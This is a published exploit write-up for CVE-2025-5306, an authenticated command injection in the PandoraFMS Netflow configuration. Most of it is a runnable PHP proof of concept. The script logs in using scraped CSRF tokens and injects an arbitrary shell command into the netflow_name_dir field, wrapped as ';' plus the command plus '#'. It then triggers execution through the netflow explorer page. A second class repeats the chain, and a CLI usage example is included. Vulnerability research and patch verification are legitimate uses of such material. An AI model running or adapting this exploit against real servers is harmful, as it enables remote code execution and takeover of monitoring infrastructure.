PandoraFMS Netflow 7.0.777.10 Command Injection
=============================================================================================================================================
| # Title PandoraFMS Netflow 7.0.777.10 Command Injection
=============================================================================================================================================
| # Title : PandoraFMS Netflow 7.0.774?7.0.777.10 Authenticated Command Injection
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://pandorafms.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/207183/ & CVE-2025-5306
[+] Summary :
PandoraFMS versions 7.0.774 through 7.0.777.10 contain an authenticated command injection vulnerability in the Netflow configuration component. An authenticated attacker with valid credentials can inject arbitrary system commands via the netflow_name_dir parameter, leading to remote code execution on the underlying server with the privileges of the web server user.
[+] POC :
php poc.php
<?php
class PandoraFMS_Netflow_RCE {
private $target;
private $username;
private $password;
private $csrf_token;
private $cookies;
public function __construct($target, $username, $password) {
$this->target = rtrim($target, '/');
$this->username = $username;
$this->password = $password;
$this->csrf_token = null;
$this->cookies = [];
}
private function send_request($method, $endpoint, $data = null, $is_post = false) {
$url = $this->target . $endpoint;
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEFILE => '',
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
// Preserve cookies between requests
if (!empty($this->cookies)) {
curl_setopt($ch, CURLOPT_COOKIE, $this->build_cookie_header());
}
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, true);
if ($data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
}
} else {
if ($data && !$is_post) {
$url .= '?' . http_build_query($data);
curl_setopt($ch, CURLOPT_URL, $url);
}
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Save cookies from response
if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) {
foreach ($matches[1] as $cookie) {
$parts = explode('=', $cookie, 2);
if (count($parts) === 2) {
$this->cookies[$parts[0]] = $parts[1];
}
}
}
curl_close($ch);
return [
'code' => $http_code,
'body' => $response
];
}
private function build_cookie_header() {
$cookies = [];
foreach ($this->cookies as $name => $value) {
$cookies[] = $name . '=' . $value;
}
return implode('; ', $cookies);
}
private function extract_csrf_token($html) {
if (preg_match('/<input[^>]*id="hidden-csrf_code"[^>]*value="([^"]*)"/i', $html, $matches)) {
return $matches[1];
}
return null;
}
private function extract_version($html) {
if (preg_match('/<div[^>]*id="ver_num"[^>]*>([^<]*)</i', $html, $matches)) {
$version = trim($matches[1]);
// Remove 'v' prefix and 'NG' suffix
$version = ltrim($version, 'v');
$version = str_replace('NG', '', $version);
return $version;
}
return null;
}
public function check() {
echo "[*] Checking target...\n";
$response = $this->send_request('GET', '/pandora_console/index.php', ['login' => '1']);
if ($response['code'] !== 200) {
return "Unknown: Received unexpected response code: " . $response['code'];
}
if (empty($response['body'])) {
return "Unknown: Empty response received";
}
$version = $this->extract_version($response['body']);
$this->csrf_token = $this->extract_csrf_token($response['body']);
if (!$version) {
return "Safe: Application is probably not PandoraFMS";
}
echo "[*] Detected version: $version\n";
if (!$this->csrf_token) {
echo "[!] CSRF token not found\n";
}
// Check if version is vulnerable (7.0.774 to 7.0.777.10)
if (version_compare($version, '7.0.774', '>=') &&
version_compare($version, '7.0.777.10', '<=')) {
return "Appears: Vulnerable PandoraFMS version $version detected";
}
return "Safe: Running version $version, which is not vulnerable";
}
private function get_csrf_token() {
if ($this->csrf_token) {
return $this->csrf_token;
}
$response = $this->send_request('GET', '/pandora_console/index.php', ['login' => '1']);
if ($response['code'] !== 200) {
throw new Exception("Unexpected response when fetching CSRF token");
}
$this->csrf_token = $this->extract_csrf_token($response['body']);
if (!$this->csrf_token) {
throw new Exception("Could not find CSRF token");
}
return $this->csrf_token;
}
private function login_successful($response) {
return $response['code'] === 200 &&
(strpos($response['body'], 'id="welcome-icon-header"') !== false ||
strpos($response['body'], 'id="welcome_panel"') !== false ||
strpos($response['body'], 'godmode') !== false);
}
private function login() {
echo "[*] Attempting to login...\n";
$csrf_token = $this->get_csrf_token();
$post_data = [
'nick' => $this->username,
'pass' => $this->password,
'login_button' => "Let's go",
'csrf_code' => $csrf_token
];
$response = $this->send_request('POST', '/pandora_console/index.php',
array_merge(['login' => '1'], $post_data), true);
if (!$this->login_successful($response)) {
throw new Exception("Login failed - invalid credentials or application error");
}
echo "[+] Login successful\n";
}
private function extract_netflow_config($html) {
$config = [];
// Extract netflow_daemon
if (preg_match('/<input[^>]*name="netflow_daemon"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_daemon'] = $matches[1];
}
// Extract netflow_nfdump
if (preg_match('/<input[^>]*name="netflow_nfdump"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_nfdump'] = $matches[1];
}
// Extract netflow_max_resolution
if (preg_match('/<input[^>]*name="netflow_max_resolution"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_max_resolution'] = $matches[1];
}
// Extract netflow_disable_custom_lvfilters_sent
if (preg_match('/<input[^>]*name="netflow_disable_custom_lvfilters_sent"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_disable_custom_lvfilters_sent'] = $matches[1];
}
// Extract netflow_max_lifetime
if (preg_match('/<input[^>]*name="netflow_max_lifetime"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_max_lifetime'] = $matches[1];
}
// Extract netflow_interval
if (preg_match('/<select[^>]*name="netflow_interval"[^>]*>.*?<option[^>]*selected="selected"[^>]*value="([^"]*)"/is', $html, $matches)) {
$config['netflow_interval'] = $matches[1];
}
return $config;
}
private function valid_netflow_options($config) {
foreach ($config as $key => $value) {
if (empty($value)) {
return false;
}
}
return true;
}
private function configure_netflow($payload) {
echo "[*] Configuring Netflow with payload...\n";
$response = $this->send_request('GET', '/pandora_console/index.php', [
'sec' => 'general',
'sec2' => 'godmode/setup/setup',
'section' => 'net'
]);
if ($response['code'] !== 200) {
throw new Exception("Netflow might not be enabled");
}
$config = $this->extract_netflow_config($response['body']);
if (!$this->valid_netflow_options($config)) {
throw new Exception("Failed to get existing Netflow configuration");
}
// Add payload to netflow_name_dir parameter
$config['netflow_name_dir'] = ';' . $payload . '#';
$config['update_config'] = '1';
$config['upd_button'] = 'Update';
$response = $this->send_request('POST', '/pandora_console/index.php',
array_merge([
'sec' => 'general',
'sec2' => 'godmode/setup/setup',
'section' => 'net'
], $config), true);
if ($response['code'] !== 200) {
throw new Exception("Failed to configure Netflow");
}
echo "[+] Netflow configured with payload\n";
}
private function trigger_payload() {
echo "[*] Triggering payload execution...\n";
$response = $this->send_request('GET', '/pandora_console/index.php', [
'sec' => 'network_traffic',
'sec2' => 'operation/netflow/netflow_explorer'
]);
echo "[+] Payload triggered\n";
return $response;
}
public function exploit($payload) {
try {
echo "[*] Starting PandoraFMS Netflow RCE exploitation...\n";
// Check target first
$check_result = $this->check();
echo "[*] Check result: $check_result\n";
if (strpos($check_result, 'Safe') !== false) {
echo "[-] Target is not vulnerable, stopping exploitation\n";
return false;
}
// Login
$this->login();
// Configure netflow with payload
$this->configure_netflow($payload);
// Trigger the payload
$this->trigger_payload();
echo "[+] Exploitation completed\n";
return true;
} catch (Exception $e) {
echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
return false;
}
}
}
// ???? ????? ????????? ??????
class SimplePandoraExploit {
public static function execute($target, $username, $password, $command) {
$target = rtrim($target, '/');
// Step 1: Get CSRF token and login
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target . '/pandora_console/index.php?login=1',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => '',
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
$csrf_token = null;
if (preg_match('/<input[^>]*id="hidden-csrf_code"[^>]*value="([^"]*)"/i', $response, $matches)) {
$csrf_token = $matches[1];
}
if (!$csrf_token) {
return "[-] Failed to get CSRF token";
}
// Step 2: Login
$post_data = http_build_query([
'nick' => $username,
'pass' => $password,
'login_button' => "Let's go",
'csrf_code' => $csrf_token
]);
curl_setopt_array($ch, [
CURLOPT_URL => $target . '/pandora_console/index.php?login=1',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data
]);
$login_response = curl_exec($ch);
if (strpos($login_response, 'godmode') === false) {
return "[-] Login failed";
}
// Step 3: Configure Netflow with payload
$netflow_data = http_build_query([
'netflow_daemon' => '/usr/bin/nfcapd',
'netflow_nfdump' => '/usr/bin/nfdump',
'netflow_max_resolution' => '1080',
'netflow_disable_custom_lvfilters_sent' => '0',
'netflow_max_lifetime' => '30',
'netflow_interval' => '300',
'netflow_name_dir' => ';' . $command . '#',
'update_config' => '1',
'upd_button' => 'Update'
]);
curl_setopt_array($ch, [
CURLOPT_URL => $target . '/pandora_console/index.php?sec=general&sec2=godmode/setup/setup§ion=net',
CURLOPT_POSTFIELDS => $netflow_data
]);
$config_response = curl_exec($ch);
// Step 4: Trigger payload
curl_setopt_array($ch, [
CURLOPT_URL => $target . '/pandora_console/index.php?sec=network_traffic&sec2=operation/netflow/netflow_explorer',
CURLOPT_POST => false,
CURLOPT_POSTFIELDS => null
]);
$trigger_response = curl_exec($ch);
curl_close($ch);
return "[+] Exploitation completed";
}
}
// ?????????
if (php_sapi_name() === 'cli') {
if ($argc < 5) {
echo "Usage: php " . $argv[0] . " <target_url> <username> <password> <command>\n";
echo "Example: php " . $argv[0] . " http://localhost admin pandora \"id\"\n";
exit(1);
}
$target = $argv[1];
$username = $argv[2];
$password = $argv[3];
$command = $argv[4];
// ??????? ?????? ???????
$exploit = new PandoraFMS_Netflow_RCE($target, $username, $password);
$exploit->exploit($command);
// ?? ??????? ?????? ???????
// $result = SimplePandoraExploit::execute($target, $username, $password, $command);
// echo $result . "\n";
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================